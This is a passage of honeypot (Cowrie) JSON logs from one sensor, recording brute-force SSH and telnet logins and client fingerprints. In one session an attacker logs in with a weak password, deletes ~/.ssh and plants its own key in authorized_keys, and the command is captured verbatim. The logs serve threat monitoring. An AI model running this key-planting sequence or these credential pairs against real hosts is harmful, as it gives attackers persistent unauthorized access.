dh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:18.988416Z","src_ip":"4.213.160.153","session":"be6dc43109c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1111","message":"login attempt [dev/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:19.712802Z","src_ip":"4.213.160.153","session":"be6dc43109c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50036,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22aed935384","protocol":"telnet","message":"New connection: 50.6.3.16:50036 (10.17.0.5:23) [session: b22aed935384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:20.031644Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:20.902580Z","src_ip":"4.213.160.153","session":"be6dc43109c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.147377252578735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:23.064081Z","src_ip":"50.6.3.16","session":"4baa0e236a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.156.126.1","src_port":40996,"dst_ip":"159.203.135.109","dst_port":22,"session":"433e31cea924","protocol":"ssh","message":"New connection: 221.156.126.1:40996 (159.203.135.109:22) [session: 433e31cea924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:23.530192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:23.535423Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:23.733179Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"Aa123456","message":"login attempt [steam/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:24.555514Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:24.998648Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.002522Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.008233Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.210788Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.645733Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.649596Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.855129Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:25.859523Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.156.126.1","src_port":41374,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3cdc64eee09","protocol":"ssh","message":"New connection: 221.156.126.1:41374 (159.203.135.109:22) [session: e3cdc64eee09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:26.053811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:26.059663Z","src_ip":"221.156.126.1","session":"e3cdc64eee09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10846209526062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:26.126960Z","src_ip":"50.6.3.16","session":"66617f97649a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:26.263947Z","src_ip":"221.156.126.1","session":"e3cdc64eee09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082987546920776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:26.836820Z","src_ip":"50.6.3.16","session":"e025d47d9d30","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:27.105684Z","src_ip":"221.156.126.1","session":"e3cdc64eee09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:28.312743Z","src_ip":"221.156.126.1","session":"e3cdc64eee09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.156.126.1","src_port":41742,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c454d0cb35","protocol":"ssh","message":"New connection: 221.156.126.1:41742 (159.203.135.109:22) [session: 42c454d0cb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:28.510484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:28.515603Z","src_ip":"221.156.126.1","session":"42c454d0cb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:28.718123Z","src_ip":"221.156.126.1","session":"42c454d0cb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07866144180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:29.372900Z","src_ip":"50.6.3.16","session":"93775bb7afbd","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:29.559545Z","src_ip":"221.156.126.1","session":"42c454d0cb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:29.763777Z","src_ip":"221.156.126.1","session":"433e31cea924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:29.768507Z","src_ip":"221.156.126.1","session":"42c454d0cb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.994925022125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:31.695671Z","src_ip":"50.6.3.16","session":"9efe4fa37b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57226,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f792cf9b70","protocol":"telnet","message":"New connection: 50.6.3.16:57226 (10.17.0.5:23) [session: 68f792cf9b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:32.503964Z"}
{"eventid":"cowrie.session.closed","duration":30.726937770843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:32.759849Z","src_ip":"50.6.3.16","session":"b5af9d88a943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f3dc3100ed","protocol":"telnet","message":"New connection: 50.6.3.16:57238 (10.17.0.5:23) [session: b2f3dc3100ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:34.123935Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57242,"dst_ip":"10.17.0.5","dst_port":23,"session":"12ea01f690a2","protocol":"telnet","message":"New connection: 50.6.3.16:57242 (10.17.0.5:23) [session: 12ea01f690a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:34.227006Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":38047,"dst_ip":"159.203.135.109","dst_port":22,"session":"a33658ac7174","protocol":"ssh","message":"New connection: 193.46.255.86:38047 (159.203.135.109:22) [session: a33658ac7174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:34.283426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:34.288122Z","src_ip":"193.46.255.86","session":"a33658ac7174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:34.419362Z","src_ip":"193.46.255.86","session":"a33658ac7174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58942174911499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:34.971164Z","src_ip":"50.6.3.16","session":"4cc50f75389d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:35.016311Z","src_ip":"193.46.255.86","session":"a33658ac7174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:36.150867Z","src_ip":"193.46.255.86","session":"a33658ac7174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57258,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bd415f3be7","protocol":"telnet","message":"New connection: 50.6.3.16:57258 (10.17.0.5:23) [session: 54bd415f3be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:36.798011Z"}
{"eventid":"cowrie.session.closed","duration":31.090781450271606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:37.352058Z","src_ip":"50.6.3.16","session":"cfdfd67b766d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40192,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a78c5835c3","protocol":"telnet","message":"New connection: 50.6.3.16:40192 (10.17.0.5:23) [session: 93a78c5835c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:38.061106Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40208,"dst_ip":"10.17.0.5","dst_port":23,"session":"2605d57a769c","protocol":"telnet","message":"New connection: 50.6.3.16:40208 (10.17.0.5:23) [session: 2605d57a769c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:40.558858Z"}
{"eventid":"cowrie.session.closed","duration":30.764621019363403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:40.625726Z","src_ip":"50.6.3.16","session":"20a39db0c673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b3f25262d8","protocol":"ssh","message":"New connection: 211.186.79.173:34466 (10.17.0.5:22) [session: 42b3f25262d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:40.725024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:40.730350Z","src_ip":"211.186.79.173","session":"42b3f25262d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:40.913868Z","src_ip":"211.186.79.173","session":"42b3f25262d8","protocol":"ssh"}
